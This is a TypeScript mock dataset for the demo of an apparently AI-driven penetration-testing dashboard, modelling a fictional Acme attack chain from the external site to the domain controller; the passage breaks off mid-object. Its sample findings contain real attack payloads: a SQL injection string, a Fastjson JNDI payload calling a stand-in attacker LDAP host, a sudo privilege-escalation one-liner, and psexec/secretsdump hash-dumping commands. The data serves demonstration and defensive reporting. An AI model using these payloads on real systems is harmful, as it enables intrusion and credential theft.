// Rich mock dataset for the Vercel demo (NEXT_PUBLIC_MOCK=1). Shapes track the // current backend contract in lib/api.ts + lib/types.ts. All data is static and // self-consistent (one company "Acme", a few tasks, findings, exploration graph, // sessions/activity, traffic, agents, etc.) so every page looks populated. import type { Activity, Agent, AgentDetail, Asset, Audit, Company, Conversation, ConvTokenSummary, DailyTokenBucket, Edge, Finding, FindingAsset, InterceptApprovalRow, InterceptAudit, InterceptPending, InterceptRule, LLMPoolStatus, LLMProfile, LLMTask, MCPServer, MCPTool, MissingSkill, PromptVar, PromptVersion, SessionTokenUsage, Settings, SkillCall, SkillItem, Stats, Task, TaskCategory, TaskNode, TaskTemplate, TokenTotal, TokenUsage, Tool, TrafficDetail, TrafficHost, TrafficResp, } from "@/lib/types"; const T = (iso: string) => iso; // readability helper for timestamps // ── Tasks ────────────────────────────────────────────────────────────────── export const ACTIVE_TASK = "t-acme-web"; export const tasks: Task[] = [ { id: "t-acme-web", category_id: 1, category_name: "外部评估", description: "Acme 官网·管理员后台外部渗透 (acme.com)", goal: "获取 acme.com 后台管理员权限,并确认能否读取用户敏感数据。", status: "running", created_at: T("2026-07-24T09:12:00Z"), created_unix: 1785489120, last_activity: T("2026-07-26T03:58:22Z"), last_activity_unix: 1785643102, paused: false, active: true, in_flight: 3, findings: { critical: 1, high: 2, medium: 1, low: 0 }, stalled: false, goals_total: 5, goals_met: 2, engine_mode: "exploring", llm_profile_id: 1, llm_profile_ids: [1, 2], active_llm_profile_id: 1, llm_failover_state: "ready", source_task_ids: [], tokens: { input_tokens: 1284500, output_tokens: 96320, cache_read_tokens: 890400, cache_write_tokens: 132000 }, }, { id: "t-acme-api", category_id: 2, category_name: "API 专项", description: "api.acme.com 权限绕过·注入测试", goal: "评估 api.acme.com 订单/用户端点的权限绕过(IDOR)·注入风险。", status: "running", created_at: T("2026-07-25T14:05:00Z"), created_unix: 1785592500, last_activity: T("2026-07-26T03:40:10Z"), last_activity_unix: 1785642010, paused: false, active: false, in_flight: 2, findings: { critical: 0, high: 1, medium: 1, low: 0 }, stalled: false, goals_total: 4, goals_met: 1, engine_mode: "exploring", llm_profile_id: 1, llm_profile_ids: [1, 2], active_llm_profile_id: 1, llm_failover_state: "ready", source_task_ids: ["t-acme-web"], tokens: { input_tokens: 642300, output_tokens: 51200, cache_read_tokens: 401000, cache_write_tokens: 60000 }, }, { id: "t-shop-pay", category_id: 2, category_name: "API 专项", description: "shop.acme.com 支付·订单路径", goal: "评估支付·订单端点的权限绕过、金额篡改、竞争条件风险。", status: "paused", created_at: T("2026-07-22T08:30:00Z"), created_unix: 1785313800, last_activity: T("2026-07-23T18:40:10Z"), last_activity_unix: 1785436810, paused: true, active: false, in_flight: 0, stalled: false, goals_total: 4, goals_met: 1, engine_mode: "paused", llm_profile_id: 2, llm_profile_ids: [2, 1], active_llm_profile_id: 2, llm_failover_state: "ready", source_task_ids: ["t-acme-web", "t-acme-api"], tokens: { input_tokens: 233000, output_tokens: 18700, cache_read_tokens: 120000, cache_write_tokens: 22000 }, }, { id: "t-vpn-edge", category_id: 1, category_name: "外部评估", description: "外部暴露面侦察 (VPN / 边界服务)", goal: "识别 acme.com 对外暴露、可被利用的边界服务。", status: "done", created_at: T("2026-07-18T08:00:00Z"), created_unix: 1784966400, completed_at: T("2026-07-20T22:11:00Z"), completed_unix: 1785190260, last_activity: T("2026-07-20T22:11:00Z"), last_activity_unix: 1785190260, paused: false, active: false, in_flight: 0, stalled: false, goals_total: 3, goals_met: 3, engine_mode: "idle", llm_profile_id: 1, llm_profile_ids: [1], active_llm_profile_id: 1, llm_failover_state: "ready", source_task_ids: [], tokens: { input_tokens: 512000, output_tokens: 40100, cache_read_tokens: 300000, cache_write_tokens: 41000 }, }, ]; export const taskCategories: TaskCategory[] = [ { id: 1, name: "外部评估", task_count: 2, created_at: T("2026-07-18T08:00:00Z"), updated_at: T("2026-07-25T08:00:00Z"), }, { id: 2, name: "API 专项", task_count: 2, created_at: T("2026-07-19T08:00:00Z"), updated_at: T("2026-07-24T08:00:00Z"), }, ]; export const taskTemplates: TaskTemplate[] = [ { id: 1, name: "外部 Web 渗透", description: "对目标的互联网暴露面执行黑盒渗透测试,覆盖站点·端点·常见管理员入口。", goal: "识别并验证可能导致未授权访问、敏感数据泄露、服务器失陷的安全问题。", created_at: T("2026-07-20T08:00:00Z"), updated_at: T("2026-07-25T08:00:00Z"), }, { id: 2, name: "API 权限绕过专项", description: "围绕目标 API 的身份认证、对象级授权、角色边界执行专项测试。", goal: "确认是否存在 IDOR、水平权限绕过、垂直权限绕过、批量数据访问风险。", created_at: T("2026-07-19T08:00:00Z"), updated_at: T("2026-07-24T08:00:00Z"), }, ]; export const getTask = (id: string) => tasks.find((t) => t.id === id); const grandTotal: TokenTotal = tasks.reduce( (a, t) => ({ input_tokens: a.input_tokens + (t.tokens?.input_tokens ?? 0), output_tokens: a.output_tokens + (t.tokens?.output_tokens ?? 0), cache_read_tokens: a.cache_read_tokens + (t.tokens?.cache_read_tokens ?? 0), cache_write_tokens: a.cache_write_tokens + (t.tokens?.cache_write_tokens ?? 0), }), { input_tokens: 0, output_tokens: 0, cache_read_tokens: 0, cache_write_tokens: 0 }, ); // ── Stats ────────────────────────────────────────────────────────────────── export function stats( taskId?: string, state: { tasks?: readonly Task[]; findings?: readonly Finding[]; activeTask?: string } = {}, ): Stats & { active_task?: unknown } { const taskList = state.tasks ?? tasks; const findingList = state.findings ?? findings; const base: Stats = { assets: assets.length, engine_mode: "exploring", llm_configured: true, roe_enabled: true, findings_confirmed: findingList.filter((f) => f.severity !== "low").length, }; const selectedTaskID = taskId ?? state.activeTask ?? ACTIVE_TASK; const t = taskList.find((item) => item.id === selectedTaskID); if (!t) return base; return { ...base, engine_mode: t.engine_mode ?? "idle", findings_confirmed: findingList.filter((f) => f.task_id === t.id).length, active_task: { id: t.id, in_flight: t.in_flight, goals_total: t.goals_total, goals_met: t.goals_met, engine_mode: t.engine_mode, paused: t.paused, }, }; } // ── Company + Assets (new unified model) ───────────────────────────────────── export const companies: Company[] = [ { id: 1, name: "Acme Corp", logo: "", asset_count: 18, scope: [ { id: 1, company_id: 1, kind: "domain", domain: "acme.com", raw: "acme.com", reason: "主域名" }, { id: 2, company_id: 1, kind: "cidr", net: "203.0.113.0/24", raw: "203.0.113.0/24" }, { id: 3, company_id: 1, kind: "ip", net: "198.51.100.20", raw: "198.51.100.20" }, ], }, ]; export const assets: Asset[] = [ { id: 1, type: "root_domain", company_id: 1, task_ids: [1], domain: "acme.com", root_domain: "acme.com", icp: "ICP-2021-XXXX", record_type: "A", record_value: ["203.0.113.10"], last_seen: T("2026-07-26T02:00:00Z"), }, { id: 2, type: "subdomain", company_id: 1, task_ids: [1], domain: "www.acme.com", root_domain: "acme.com", record_type: "CNAME", record_value: "acme.com", last_seen: T("2026-07-26T02:01:00Z"), }, { id: 3, type: "subdomain", company_id: 1, task_ids: [2], domain: "api.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["203.0.113.11"], last_seen: T("2026-07-26T02:02:00Z"), }, { id: 4, type: "subdomain", company_id: 1, task_ids: [3], domain: "shop.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["203.0.113.12"], last_seen: T("2026-07-26T02:03:00Z"), }, { id: 5, type: "subdomain", company_id: 1, task_ids: [4], domain: "vpn.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["198.51.100.20"], last_seen: T("2026-07-20T02:00:00Z"), }, { id: 6, type: "subdomain", company_id: 1, task_ids: [1], domain: "admin.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["203.0.113.10"], last_seen: T("2026-07-26T02:04:00Z"), }, { id: 7, type: "ip", company_id: 1, task_ids: [1, 2], ip: "203.0.113.10", c_segment: "203.0.113.0", open_ports: [ { port: 80, service: "http" }, { port: 443, service: "https" }, { port: 22, service: "ssh" }, ], last_seen: T("2026-07-26T02:05:00Z"), }, { id: 8, type: "ip", company_id: 1, task_ids: [2], ip: "203.0.113.11", c_segment: "203.0.113.0", open_ports: [{ port: 443, service: "https" }], last_seen: T("2026-07-26T02:06:00Z"), }, { id: 9, type: "ip", company_id: 1, task_ids: [4], ip: "198.51.100.20", c_segment: "198.51.100.0", open_ports: [ { port: 443, service: "https" }, { port: 500, service: " isakmp" }, ], last_seen: T("2026-07-20T02:00:00Z"), }, { id: 10, type: "service", company_id: 1, task_ids: [1], ip: "203.0.113.10", port: 443, service_type: "https", service_name: "nginx/1.24.0", last_seen: T("2026-07-26T02:07:00Z"), }, { id: 11, type: "service", company_id: 1, task_ids: [4], ip: "198.51.100.20", port: 22, service_type: "ssh", service_name: "OpenSSH 8.9p1", last_seen: T("2026-07-20T02:00:00Z"), }, { id: 12, type: "app", company_id: 1, task_ids: [1], url: "https://www.acme.com", app_name: "Acme 官网", category: "corp", status_code: 200, content_length: 48213, page_title: "Acme Corp - 企业站点", technologies: ["Nginx", "React", "Cloudflare"], favicon_mmh3: "-1580860059", last_seen: T("2026-07-26T02:08:00Z"), }, { id: 13, type: "app", company_id: 1, task_ids: [1], url: "https://admin.acme.com", app_name: "管理员后台", category: "admin", status_code: 200, content_length: 12044, page_title: "Acme Admin 登录", technologies: ["Nginx", "Vue", "Element-UI"], last_seen: T("2026-07-26T02:09:00Z"), }, { id: 14, type: "app", company_id: 1, task_ids: [2], url: "https://api.acme.com", app_name: "REST API", category: "api", status_code: 401, content_length: 45, page_title: "", technologies: ["Kong", "Node.js"], last_seen: T("2026-07-26T02:10:00Z"), }, { id: 15, type: "endpoint", company_id: 1, task_ids: [2], url: "https://api.acme.com/v1/orders", method: "GET", status_code: 200, params: [ { name: "id", in: "query" }, { name: "page", in: "query" }, ], last_seen: T("2026-07-26T02:11:00Z"), }, { id: 16, type: "endpoint", company_id: 1, task_ids: [2], url: "https://api.acme.com/v1/users/me", method: "GET", status_code: 200, last_seen: T("2026-07-26T02:12:00Z"), }, { id: 17, type: "endpoint", company_id: 1, task_ids: [1], url: "https://admin.acme.com/login", method: "POST", status_code: 200, params: [{ name: "username" }, { name: "password" }], last_seen: T("2026-07-26T02:13:00Z"), }, { id: 18, type: "endpoint", company_id: 1, task_ids: [1], url: "https://www.acme.com/search", method: "GET", status_code: 200, params: [{ name: "q", in: "query" }], last_seen: T("2026-07-26T02:14:00Z"), }, // 内网资产(DMZ→内网横向发现) { id: 19, type: "ip", company_id: 1, task_ids: [1], ip: "10.0.20.15", c_segment: "10.0.20.0", open_ports: [ { port: 80, service: "http" }, { port: 22, service: "ssh" }, ], last_seen: T("2026-07-25T15:40:00Z"), }, { id: 20, type: "ip", company_id: 1, task_ids: [1], ip: "10.10.10.10", c_segment: "10.10.10.0", open_ports: [ { port: 88, service: "kerberos" }, { port: 389, service: "ldap" }, { port: 445, service: "smb" }, ], last_seen: T("2026-07-25T21:00:00Z"), }, { id: 21, type: "ip", company_id: 1, task_ids: [1], ip: "10.10.10.5", c_segment: "10.10.10.0", open_ports: [{ port: 445, service: "smb" }], last_seen: T("2026-07-25T21:00:00Z"), }, { id: 22, type: "ip", company_id: 1, task_ids: [1], ip: "10.10.10.20", c_segment: "10.10.10.0", open_ports: [{ port: 8080, service: "http-proxy" }], last_seen: T("2026-07-25T21:00:00Z"), }, { id: 23, type: "service", company_id: 1, task_ids: [1], ip: "10.10.10.20", port: 8080, service_type: "http", service_name: "Jenkins 2.289", last_seen: T("2026-07-25T21:35:00Z"), }, { id: 24, type: "service", company_id: 1, task_ids: [1], ip: "10.10.10.10", port: 445, service_type: "smb", service_name: "Windows Server 2019 DC", last_seen: T("2026-07-25T23:55:00Z"), }, { id: 25, type: "app", company_id: 1, task_ids: [1], url: "http://10.10.10.20:8080", app_name: "Jenkins (内网)", category: "ci", status_code: 200, content_length: 14200, page_title: "Jenkins Dashboard", technologies: ["Jenkins", "Java"], last_seen: T("2026-07-25T21:35:00Z"), }, { id: 26, type: "endpoint", company_id: 1, task_ids: [1], url: "http://10.10.10.20:8080/script", method: "GET", status_code: 200, last_seen: T("2026-07-25T21:35:00Z"), }, ]; export const assetCounts: Record = assets.reduce>((m, a) => { m[a.type] = (m[a.type] ?? 0) + 1; return m; }, {}); // assetRef 把资产 id 变成 finding 上挂的资产引用(label 与后端 coverageNodeLabel // 的取值顺序一致:URL > 域名 > IP > 应用名)。「按资产」视图的树就是靠这些引用 // 把发现挂到资产上的。 function assetRef(id: number): FindingAsset { const asset = assets.find((candidate) => candidate.id === id); if (!asset) throw new Error(`mock assetRef: unknown asset ${id}`); return { id: String(id), type: asset.type, label: asset.url || asset.domain || asset.ip || asset.app_name || String(id), }; } // ── Findings ───────────────────────────────────────────────────────────────── export const findings: Finding[] = [ { id: "f-1", assets: [assetRef(18)], vulnclass: "SQL Injection", name: "官网搜索端点的报错型 SQL 注入", severity: "high", status: "pending", report: '## 漏洞概述\n\n`www.acme.com/search` 的 `q` 参数存在**报错型 SQL 注入**(MSSQL),可读取数据库版本、结构乃至敏感数据。\n\n## 影响\n\n- 可读取 `acme_prod` 数据库的表结构以及用户/订单数据\n- 错误信息直接暴露,可快速构造利用,风险较高\n\n## 复现步骤\n\n1. 触发报错型注入:\n\n```\nGET /search?q=1\' AND 1=CONVERT(int,@@version)--\n```\n\n2. 响应中暴露 MSSQL 版本错误,确认注入可行\n3. 进一步枚举数据库:`sqlmap -u "https://www.acme.com/search?q=1" --dbs`\n\n## 处置建议\n\n- 将所有查询改为参数化查询/预编译语句,消除字符串拼接\n- 关闭生产环境的详细错误输出\n- 最小化数据库账号权限,并禁用 `xp_cmdshell` 等危险扩展\n', summary: "www.acme.com/search 的 q 参数存在报错型 SQL 注入", evidence: "GET /search?q=1' AND 1=CONVERT(int,@@version)-- → 返回 MSSQL 版本错误信息,可读取数据库结构。", intent_id: "i-2", task_id: "t-acme-web", task_description: "Acme 官网·管理员后台外部渗透", ts: T("2026-07-26T01:20:00Z"), }, { id: "f-2", assets: [assetRef(15)], vulnclass: "IDOR", severity: "high", status: "pending", summary: "api.acme.com/v1/orders?id= 可绕过权限查阅他人订单", evidence: "将 id=1001 改为 id=1002 即返回他人订单(含收货地址·手机号),且无属主校验。", intent_id: "i-5", task_id: "t-acme-api", task_description: "api.acme.com 权限绕过·注入测试", ts: T("2026-07-26T02:44:00Z"), }, { id: "f-3", assets: [assetRef(3)], vulnclass: "Weak JWT", severity: "high", status: "pending", summary: "API JWT 使用弱密钥,可离线破解·伪造", evidence: "HS256,密钥 'secret',用 john 5 秒即破解 → 可伪造任意 sub 绕过权限。", task_id: "t-acme-api", task_description: "api.acme.com 权限绕过·注入测试", ts: T("2026-07-26T03:02:00Z"), }, { id: "f-4", assets: [assetRef(18)], vulnclass: "Reflected XSS", severity: "medium", status: "pending", summary: "搜索页未对 q 参数转义,导致反射型 XSS", evidence: "q= 会原样出现在结果标题中。", task_id: "t-acme-web", task_description: "Acme 官网·管理员后台外部渗透", ts: T("2026-07-25T22:10:00Z"), }, { id: "f-5", assets: [assetRef(2)], vulnclass: "Exposed .git", severity: "medium", status: "pending", summary: "www.acme.com 暴露 .git 目录,可还原源码", evidence: "GET /.git/HEAD → 200;用 git-dumper 还原了后端源码及数据库连接串注释。", task_id: "t-acme-web", task_description: "Acme 官网·管理员后台外部渗透", ts: T("2026-07-25T20:30:00Z"), }, { id: "f-6", assets: [assetRef(17)], vulnclass: "Default Credentials", severity: "high", status: "pending", summary: "admin.acme.com 管理员后台使用默认口令 admin/admin123", evidence: "登录成功并进入管理员后台,可管理用户与订单。", intent_id: "i-3", task_id: "t-acme-web", task_description: "Acme 官网·管理员后台外部渗透", ts: T("2026-07-26T03:50:00Z"), }, { id: "f-7", assets: [assetRef(17)], vulnclass: "Open Redirect", severity: "low", status: "pending", summary: "登录后可通过 next 参数重定向到任意地址", evidence: "/login?next=https://evil.example 登录后会 302 跳转到外部站点。", task_id: "t-acme-web", task_description: "Acme 官网·管理员后台外部渗透", ts: T("2026-07-25T19:12:00Z"), }, { id: "f-8", assets: [assetRef(17)], vulnclass: "Missing Rate Limit", severity: "medium", status: "pending", summary: "登录端点无限速,可进行暴力破解", evidence: "每分钟发送 1,000 次也不会锁定,且没有验证码。", task_id: "t-acme-web", task_description: "Acme 官网·管理员后台外部渗透", ts: T("2026-07-25T18:40:00Z"), }, { id: "f-9", assets: [assetRef(16)], vulnclass: "Verbose Error", severity: "low", status: "pending", summary: "API 在 500 错误中返回堆栈跟踪,泄露路径与框架版本", evidence: "触发 500 错误会返回 Node.js 堆栈跟踪,泄露绝对路径与依赖版本。", task_id: "t-acme-api", task_description: "api.acme.com 权限绕过·注入测试", ts: T("2026-07-25T23:05:00Z"), }, { id: "f-10", assets: [assetRef(4)], vulnclass: "Outdated Component", severity: "medium", status: "pending", summary: "shop 使用存在已知 RCE 的旧版组件", evidence: "通过指纹识别出组件 v2.3.1,对应 CVE-2024-xxxx 反序列化 RCE。", task_id: "t-shop-pay", task_description: "shop.acme.com 支付·订单路径", ts: T("2026-07-23T15:00:00Z"), }, // ── 外网→内网纵深链路上的高危发现(active task)── { id: "f-11", vulnclass: "Hardcoded Credentials", severity: "high", status: "pending", summary: "泄露的源码中硬编码了数据库凭据 sa/Acme@2021", evidence: "用 git-dumper 还原 www.acme.com/.git 获得 config.php,内含明文数据库口令,后续确认可在内网复用。", intent_id: "ig", task_id: "t-acme-web", task_description: "Acme 官网·管理员后台外部渗透", ts: T("2026-07-25T20:36:00Z"), }, { id: "f-12", assets: [assetRef(4)], vulnclass: "Deserialization RCE", name: "shop 商城 Fastjson 反序列化远程命令执行", severity: "critical", status: "confirmed", report: '## 漏洞概述\n\n`shop.acme.com` 的 `/api/import` 端点使用 **Fastjson 1.2.24** 解析用户可控的 JSON,且未开启 `safeMode`,可通过 `@type` 指定任意类触发 **JNDI 注入 → 远程命令执行**。\n\n## 影响\n\n- 攻击者无需认证即可在 DMZ Web 服务器上执行任意命令(`www-data@dmz-web01`)\n- 若再结合提权,即可成为进入内网的跳板\n\n## 复现步骤\n\n1. 构造 JNDI payload:\n\n```json\n{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}\n```\n\n2. `POST /api/import`, `Content-Type: application/json`\n3. 目标回调 dnslog 并反弹 shell\n\n## 处置建议\n\n- 将 Fastjson 升级到 **1.2.83+** 并开启 `safeMode`\n- 为 `/api/import` 增加认证与来源校验\n- 限制出站:禁止业务服务器主动通过 LDAP/RMI 向外连接\n', summary: "shop.acme.com Fastjson 1.2.24 反序列化远程命令执行", evidence: "向 POST /api/import 发送 JNDI payload(@type:JdbcRowSetImpl) → dnslog 收到回调并反弹 shell(www-data@dmz-web01)。", intent_id: "i7", task_id: "t-acme-web", task_description: "Acme 官网·管理员后台外部渗透", ts: T("2026-07-25T15:40:00Z"), }, { id: "f-13", assets: [assetRef(19)], vulnclass: "Privilege Escalation", severity: "high", status: "pending", summary: "DMZ 据点因 sudo NOPASSWD 配置错误可实现本地提权(root)", evidence: "sudo -l 显示 (ALL) NOPASSWD: /usr/bin/python3 → 用 sudo python3 -c 'os.setuid(0);os.system(\"/bin/sh\")' 即可直接获得 root。", intent_id: "i8", task_id: "t-acme-web", task_description: "Acme 官网·管理员后台外部渗透", ts: T("2026-07-25T16:20:00Z"), }, { id: "f-14", assets: [assetRef(19), assetRef(21)], vulnclass: "Network Segmentation", severity: "medium", status: "pending", summary: "DMZ 主机以双网卡直连内网,导致边界隔离失效", evidence: "dmz-web01 的第二块网卡位于 10.10.10.0/24,可从 DMZ 直接访问域控制器/文件服务器/Jenkins,绕过网络分段。", intent_id: "i9", task_id: "t-acme-web", task_description: "Acme 官网·管理员后台外部渗透", ts: T("2026-07-25T21:00:00Z"), }, { id: "f-15", assets: [assetRef(26)], vulnclass: "Unauthenticated RCE", severity: "high", status: "pending", summary: "内网 Jenkins 未授权 Script Console 远程命令执行", evidence: "通过 GET /script 无需登录执行 Groovy:'whoami'.execute().text → SYSTEM;并从凭据库提取域账号 acme\\svc_deploy。", intent_id: "i11", task_id: "t-acme-web", task_description: "Acme 官网·管理员后台外部渗透", ts: T("2026-07-25T21:50:00Z"), }, { id: "f-16", assets: [assetRef(21)], vulnclass: "Kerberoasting", severity: "high", status: "pending", summary: "域服务账号 svc_sql 可被 Kerberoast 且口令较弱", evidence: "用 GetUserSPNs 请求 svc_sql 的 TGS,再以 hashcat -m 13100 离线破解出 Sql@2020。该账号属于 SQL 管理组。", intent_id: "i12", task_id: "t-acme-web", task_description: "Acme 官网·管理员后台外部渗透", ts: T("2026-07-25T23:20:00Z"), }, { id: "f-17", assets: [assetRef(20)], vulnclass: "Domain Compromise", name: "内网域控制器 DC01 被完全控制(Domain Admin)", severity: "critical", status: "confirmed", report: "## 漏洞概述\n\n先通过外网 Fastjson RCE 在 DMZ 建立落脚点,再经 sudo 提权·双网卡穿透·Jenkins 未授权 RCE 获取域账号 `svc_deploy`。该账号属于 **Domain Admins**,最终完全控制了域控制器 **DC01**。\n\n## 影响\n\n- 取得域管理员权限,可控制整个域的主机与账号\n- 用 `secretsdump` 导出整个域的 NTLM 哈希(含 `krbtgt`),制作黄金票据实现长期潜伏\n- 内网目标达成\n\n## 复现步骤\n\n1. 以 `svc_deploy` 登录并导出哈希:\n\n```\npsexec.py acme/svc_deploy@10.10.10.10\nsecretsdump.py acme/svc_deploy@10.10.10.10\n```\n\n2. 取得 DC01 的 SYSTEM 权限并导出域内全部哈希\n\n## 处置建议\n\n- 收缩服务账号权限并将其移出 Domain Admins,实施分层管理(tiering)\n- 连续两次重置 `krbtgt`,并将服务账号更换为强口令\n- 修复 DMZ→内网边界隔离以及前述 RCE/提权链\n", summary: "控制域控制器 DC01(Domain Admin):内网目标达成", evidence: "svc_deploy 属于 Domain Admins,用 psexec.py 登录 DC01 获得 SYSTEM,并以 secretsdump 导出整个域的 NTLM 哈希(含 krbtgt),完成目标控制。", intent_id: "i13", task_id: "t-acme-web", task_description: "Acme 官网·管理员后台外部渗透", ts: T("2026-07-26T00:20:00Z"), }, ]; // ── Exploration graph (active task) ────────────────────────────────────────── // 现行模型:根是 fact/state=origin(渲染为「起点」);payload 为 JSON 字符串, // goal 取 text、其余取 summary。结构:根→目标(spawns)→意图(spawns)→事实/漏洞(yields), // 漏洞→目标(proves),提示→意图(derived_from)。 const P = (o: Record) => JSON.stringify(o); export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = { nodes: [ { id: "root", type: "fact", payload: P({ summary: "根目标:acme.com 外网→内网纵深渗透" }), priority: 0, state: "origin", origin: "system", ts: T("2026-07-24T09:12:00Z"), }, // ── 目标(由 goals agent 拆解,随发现逐步加码到内网靶标)── { id: "g1", type: "goal", payload: P({ text: "获取 acme.com 管理员后台权限" }), priority: 9, state: "met", origin: "goals", ts: T("2026-07-24T09:13:00Z"), }, { id: "g2", type: "goal", payload: P({ text: "查阅用户敏感数据" }), priority: 8, state: "open", origin: "goals", ts: T("2026-07-24T09:13:00Z"), }, { id: "g3", type: "goal", payload: P({ text: "从外网突破 DMZ,取得内网据点" }), priority: 9, state: "met", origin: "goals", ts: T("2026-07-25T14:10:00Z"), }, { id: "g4", type: "goal", payload: P({ text: "内网横向移动,控制内网目标域控制器 DC01" }), priority: 10, state: "met", origin: "goals", ts: T("2026-07-25T20:00:00Z"), }, // ── 第 1 层 · 外网侦察 / 外部漏洞 ── { id: "i1", type: "intent", payload: P({ summary: "acme.com 子域名枚举与端口扫描" }), priority: 6, state: "done", origin: "planner", ts: T("2026-07-24T09:20:00Z"), }, { id: "i2", type: "intent", payload: P({ summary: "admin 后台默认口令 / 弱口令测试" }), priority: 9, state: "done", origin: "planner", ts: T("2026-07-26T03:30:00Z"), }, { id: "i3", type: "intent", payload: P({ summary: "枚举后台功能与用户数据端点" }), priority: 8, state: "running", origin: "planner", ts: T("2026-07-26T03:55:00Z"), }, { id: "i4", type: "intent", payload: P({ summary: "www.acme.com/search 页面 SQL 注入检测" }), priority: 8, state: "done", origin: "planner", ts: T("2026-07-25T22:00:00Z"), }, { id: "i5", type: "intent", payload: P({ summary: "api.acme.com 订单端点权限绕过(IDOR)测试" }), priority: 8, state: "running", origin: "planner", ts: T("2026-07-26T02:30:00Z"), }, { id: "ig", type: "intent", payload: P({ summary: "www.acme.com .git 源码泄露与硬编码凭据提取" }), priority: 7, state: "done", origin: "planner", ts: T("2026-07-25T20:20:00Z"), }, // ── 第 2 层 · 突破 DMZ 建立立足点 ── { id: "i6", type: "intent", payload: P({ summary: "shop.acme.com 组件指纹识别与 CVE 关联" }), priority: 7, state: "done", origin: "planner", ts: T("2026-07-25T14:20:00Z"), }, { id: "i7", type: "intent", payload: P({ summary: "触发 shop 反序列化 RCE,获取反弹 shell" }), priority: 9, state: "done", origin: "planner", ts: T("2026-07-25T15:10:00Z"), }, { id: "i8", type: "intent", payload: P({ summary: "DMZ 据点本地信息收集与 root 提权" }), priority: 8, state: "done", origin: "planner", ts: T("2026-07-25T16:00:00Z"), }, // ── 第 3 层 · 内网横向纵深(多层测试)── { id: "i9", type: "intent", payload: P({ summary: "以据点为跳板发现内网主机" }), priority: 8, state: "done", origin: "planner", ts: T("2026-07-25T20:30:00Z"), }, { id: "i10", type: "intent", payload: P({ summary: "内网凭据复用与密码喷洒" }), priority: 8, state: "running", origin: "planner", ts: T("2026-07-26T03:40:00Z"), }, { id: "i11", type: "intent", payload: P({ summary: "内网 Jenkins 未授权 Groovy 脚本执行(RCE)" }), priority: 9, state: "done", origin: "planner", ts: T("2026-07-25T21:30:00Z"), }, { id: "i12", type: "intent", payload: P({ summary: "针对域服务账号的 Kerberoasting 与离线破解" }), priority: 8, state: "done", origin: "planner", ts: T("2026-07-25T22:40:00Z"), }, { id: "i13", type: "intent", payload: P({ summary: "使用域管理员凭据登录并控制域控制器 DC01" }), priority: 10, state: "done", origin: "planner", ts: T("2026-07-25T23:50:00Z"), }, // ── 事实 ── { id: "fa1", type: "fact", payload: P({ summary: "发现子域名 admin.acme.com(Element-UI 后台)" }), priority: 0, state: "open", origin: "work#1", ts: T("2026-07-24T09:40:00Z"), }, { id: "fa2", type: "fact", payload: P({ summary: "search 页面 q 参数为报错型注入点(MSSQL)" }), priority: 0, state: "open", origin: "work#4", ts: T("2026-07-25T22:05:00Z"), }, { id: "faGit", type: "fact", payload: P({ summary: ".git 可下载,用 git-dumper 还原后端源码" }), priority: 0, state: "open", origin: "workG", ts: T("2026-07-25T20:30:00Z"), }, { id: "faCreds", type: "fact", payload: P({ summary: "源码 config.php 中硬编码数据库口令 sa / Acme@2021(推测为内网通用)" }), priority: 0, state: "open", origin: "workG", ts: T("2026-07-25T20:35:00Z"), }, { id: "fa3", type: "fact", payload: P({ summary: "shop 指纹命中 Fastjson 1.2.24(存在已知反序列化 RCE)" }), priority: 0, state: "open", origin: "work#6", ts: T("2026-07-25T14:40:00Z"), }, { id: "fa4", type: "fact", payload: P({ summary: "反弹 shell 成功:www-data@dmz-web01(10.0.20.15),位于 DMZ 网段" }), priority: 0, state: "open", origin: "work#7", ts: T("2026-07-25T15:40:00Z"), }, { id: "fa5", type: "fact", payload: P({ summary: "sudo -l:(ALL) NOPASSWD: /usr/bin/python3 → 可提权至 root" }), priority: 0, state: "open", origin: "work#8", ts: T("2026-07-25T16:20:00Z"), }, { id: "fa6", type: "fact", payload: P({ summary: "据点第二块网卡直连内网 10.10.10.0/24(跨越 DMZ 边界)" }), priority: 0, state: "open", origin: "work#9", ts: T("2026-07-25T20:40:00Z"), }, { id: "fa7", type: "fact", payload: P({ summary: "内网存活:10.10.10.10 DC01(域控制器) / 10.10.10.5 FS01(SMB) / 10.10.10.20 JENKINS", }), priority: 0, state: "open", origin: "work#9", ts: T("2026-07-25T21:00:00Z"), }, { id: "fa8", type: "fact", payload: P({ summary: "JENKINS 控制台 /script 未授权,可直接执行 Groovy" }), priority: 0, state: "open", origin: "work#11", ts: T("2026-07-25T21:45:00Z"), }, { id: "fa9", type: "fact", payload: P({ summary: "从 Jenkins 凭据库导出域账号 acme\\svc_deploy 的明文口令" }), priority: 0, state: "open", origin: "work#11", ts: T("2026-07-25T22:10:00Z"), }, { id: "fa10", type: "fact", payload: P({ summary: "对 svc_sql 的 TGS 进行 Kerberoast,用 hashcat 破解出口令 Sql@2020" }), priority: 0, state: "open", origin: "work#12", ts: T("2026-07-25T23:20:00Z"), }, // ── 漏洞 ── { id: "fi1", type: "finding", payload: P({ summary: "后台默认口令 admin/admin123" }), priority: 0, state: "confirmed", origin: "work#2", ts: T("2026-07-26T03:50:00Z"), }, { id: "fi2", type: "finding", payload: P({ summary: "通过 SQL 注入(search q)可读取 acme_prod 数据库" }), priority: 0, state: "confirmed", origin: "work#4", ts: T("2026-07-26T01:20:00Z"), }, { id: "fi3", type: "finding", payload: P({ summary: "IDOR:/v1/orders?id= 可绕过权限查询他人订单" }), priority: 0, state: "confirmed", origin: "work#5", ts: T("2026-07-26T02:44:00Z"), }, { id: "fiSrc", type: "finding", payload: P({ summary: "源码泄露 + 硬编码数据库凭据(sa/Acme@2021)" }), priority: 0, state: "confirmed", origin: "workG", ts: T("2026-07-25T20:36:00Z"), }, { id: "fiRce", type: "finding", payload: P({ summary: "通过 shop Fastjson 反序列化 RCE 获得服务器命令执行" }), priority: 0, state: "confirmed", origin: "work#7", ts: T("2026-07-25T15:40:00Z"), }, { id: "fiPriv", type: "finding", payload: P({ summary: "DMZ 据点本地提权 root(sudo NOPASSWD 配置错误)" }), priority: 0, state: "confirmed", origin: "work#8", ts: T("2026-07-25T16:20:00Z"), }, { id: "fiJenkins", type: "finding", payload: P({ summary: "内网 Jenkins 未授权 Groovy → 服务器 RCE" }), priority: 0, state: "confirmed", origin: "work#11", ts: T("2026-07-25T21:50:00Z"), }, { id: 